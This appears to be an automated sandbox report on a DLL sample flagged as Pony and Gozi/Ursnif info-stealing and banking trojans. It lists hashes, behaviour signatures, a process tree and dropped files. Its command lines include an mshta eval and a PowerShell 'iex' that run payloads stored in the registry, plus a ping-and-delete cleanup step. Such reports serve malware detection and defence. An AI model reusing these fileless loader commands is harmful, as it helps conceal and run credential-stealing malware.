Analysis

  • max time kernel
    151s
  • max time network
    135s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    13-07-2020 16:54

General

  • Target

    434.dll

  • Size

    367KB

  • MD5

    7e9c8822be0f73073ce2cc5ef5a13c96

  • SHA1

    10b2f8667db53eaf1b85a209d9b80b834425167f

  • SHA256

    bd6840cc208517847e130db0c847e715ba80a88e210e6383b37c1d0381877ee5

  • SHA512

    120bfec74eed70dc19d7aff9ed8dc392616a6c652f4c7b3f642219c6d5203038e66cef65e67b79041b8653b65021e2402b3cfc0f3b6850afd1d13e2a03637118

Malware Config

Signatures

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of WriteProcessMemory 86 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Checks for installed software on the system 1 TTPs 10 IoCs
  • Checks whether UAC is enabled 3 IoCs
  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

  • Modifies Internet Explorer settings 1 TTPs 42 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Loads dropped DLL 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetThreadContext
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SendNotifyMessage
    PID:1300
    • C:\Windows\system32\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\434.dll,#1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1100
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe C:\Users\Admin\AppData\Local\Temp\434.dll,#1
        3⤵
        • Suspicious use of WriteProcessMemory
        • Suspicious use of SetThreadContext
        PID:1048
        • C:\Windows\SysWOW64\svchost.exe
          C:\Windows\System32\svchost.exe
          4⤵
          • Suspicious use of WriteProcessMemory
          • Suspicious use of SetThreadContext
          • Checks for installed software on the system
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Loads dropped DLL
          • Modifies system certificate store
          PID:596
          • C:\Windows\SysWOW64\cmd.exe
            cmd /K
            5⤵
              PID:1500
            • C:\Windows\SysWOW64\svchost.exe
              C:\Windows\System32\svchost.exe
              5⤵
                PID:1332
              • C:\Users\Admin\AppData\Local\Temp\BNAC5B.tmp
                C:\Users\Admin\AppData\Local\Temp\BNAC5B.tmp
                5⤵
                • Executes dropped EXE
                PID:1808
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05\\\Efsltprf'));if(!window.flag)close()</script>"
          2⤵
          • Suspicious use of WriteProcessMemory
          • Modifies Internet Explorer settings
          PID:1924
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\136B3805-56F5-BDAC-F8F7-EA41AC1BBE05").dmrctcls))
            3⤵
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            • Suspicious use of SetThreadContext
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1072
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oeqm3irn\oeqm3irn.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1720
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3CB1.tmp" "c:\Users\Admin\AppData\Local\Temp\oeqm3irn\CSC2B1C7562C654D51BAA1FBDA80763CB1.TMP"
                5⤵
                  PID:272
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r22l0bf4\r22l0bf4.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1780
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3D8C.tmp" "c:\Users\Admin\AppData\Local\Temp\r22l0bf4\CSCB7F26E51CB9C4DA197DF3A841B3278.TMP"
                  5⤵
                    PID:1100
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\BNAC5B.tmp"
              2⤵
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetThreadContext
              PID:1784
              • C:\Windows\system32\PING.EXE
                ping localhost -n 5
                3⤵
                • Runs ping.exe
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                PID:812
            • C:\Windows\system32\cmd.exe
              cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\E908.bi1"
              2⤵
                PID:1956
                • C:\Windows\system32\nslookup.exe
                  nslookup myip.opendns.com resolver1.opendns.com
                  3⤵
                    PID:1760
                • C:\Windows\system32\cmd.exe
                  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\4444.bi1"
                  2⤵
                    PID:1940
                    • C:\Windows\system32\nslookup.exe
                      nslookup myip.opendns.com resolver1.opendns.com
                      3⤵
                        PID:1748
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\E908.bi1"
                      2⤵
                        PID:1072
                      • C:\Windows\system32\cmd.exe
                        cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4444.bi1"
                        2⤵
                          PID:1192
                      • C:\Program Files\Internet Explorer\iexplore.exe
                        "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        • Suspicious use of FindShellTrayWindow
                        • Checks whether UAC is enabled
                        • Modifies Internet Explorer settings
                        • Suspicious use of SetWindowsHookEx
                        PID:1560
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1560 CREDAT:275457 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:1876
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1560 CREDAT:406535 /prefetch:2
                          2⤵
                          • Checks whether UAC is enabled
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:2040

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                      • C:\Users\Admin\AppData\Local\Temp\4444.bi1

                      • C:\Users\Admin\AppData\Local\Temp\4444.bi1

                      • C:\Users\Admin\AppData\Local\Temp\BNAC5B.tmp

                      • C:\Users\Admin\AppData\Local\Temp\BNAC5B.tmp

                      • C:\Users\Admin\AppData\Local\Temp\E908.bi1

                      • C:\Users\Admin\AppData\Local\Temp\E908.bi1

                      • C:\Users\Admin\AppData\Local\Temp\RES3CB1.tmp

                      • C:\Users\Admin\AppData\Local\Temp\RES3D8C.tmp

                      • C:\Users\Admin\AppData\Local\Temp\oeqm3irn\oeqm3irn.dll

                      • C:\Users\Admin\AppData\Local\Temp\r22l0bf4\r22l0bf4.dll

                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\XUMW6BGS.txt

                      • \??\c:\Users\Admin\AppData\Local\Temp\oeqm3irn\CSC2B1C7562C654D51BAA1FBDA80763CB1.TMP

                      • \??\c:\Users\Admin\AppData\Local\Temp\oeqm3irn\oeqm3irn.0.cs

                      • \??\c:\Users\Admin\AppData\Local\Temp\oeqm3irn\oeqm3irn.cmdline

                      • \??\c:\Users\Admin\AppData\Local\Temp\r22l0bf4\CSCB7F26E51CB9C4DA197DF3A841B3278.TMP

                      • \??\c:\Users\Admin\AppData\Local\Temp\r22l0bf4\r22l0bf4.0.cs

                      • \??\c:\Users\Admin\AppData\Local\Temp\r22l0bf4\r22l0bf4.cmdline

                      • \Users\Admin\AppData\Local\Temp\BNAC5B.tmp

                      • \Users\Admin\AppData\Local\Temp\BNAC5B.tmp

                      • memory/272-24-0x0000000000000000-mapping.dmp

                      • memory/596-2-0x0000000000402960-mapping.dmp

                      • memory/596-1-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/596-3-0x0000000000400000-0x0000000000409000-memory.dmp

                        Filesize

                        36KB

                      • memory/812-46-0x0000000000000000-mapping.dmp

                      • memory/812-47-0x000007FFFFFD8000-mapping.dmp

                      • memory/1048-0-0x0000000000000000-mapping.dmp

                      • memory/1072-20-0x0000000000000000-mapping.dmp

                      • memory/1072-48-0x0000000000000000-mapping.dmp

                      • memory/1100-31-0x0000000000000000-mapping.dmp

                      • memory/1192-51-0x0000000000000000-mapping.dmp

                      • memory/1332-11-0x000000000BC00000-0x000000000BC12000-memory.dmp

                        Filesize

                        72KB

                      • memory/1332-9-0x000000000BC00000-0x000000000BC12000-memory.dmp

                        Filesize

                        72KB

                      • memory/1332-10-0x000000000BC01067-mapping.dmp

                      • memory/1500-7-0x0000000000000000-mapping.dmp

                      • memory/1720-21-0x0000000000000000-mapping.dmp

                      • memory/1748-43-0x0000000000000000-mapping.dmp

                      • memory/1760-42-0x0000000000000000-mapping.dmp

                      • memory/1780-28-0x0000000000000000-mapping.dmp

                      • memory/1784-40-0x0000000000000000-mapping.dmp

                      • memory/1784-35-0x0000000000000000-mapping.dmp

                      • memory/1784-41-0x0000000000000000-mapping.dmp

                      • memory/1784-39-0x0000000000000000-mapping.dmp

                      • memory/1784-38-0x0000000000000000-mapping.dmp

                      • memory/1784-44-0x0000000000000000-mapping.dmp

                      • memory/1784-45-0x000007FFFFFDF000-mapping.dmp

                      • memory/1808-17-0x0000000001060000-0x0000000001071000-memory.dmp

                        Filesize

                        68KB

                      • memory/1808-16-0x0000000000DA9000-0x0000000000DBA000-memory.dmp

                        Filesize

                        68KB

                      • memory/1808-14-0x0000000000000000-mapping.dmp

                      • memory/1876-18-0x0000000000000000-mapping.dmp

                      • memory/1940-37-0x0000000000000000-mapping.dmp

                      • memory/1956-36-0x0000000000000000-mapping.dmp

                      • memory/2040-19-0x0000000000000000-mapping.dmp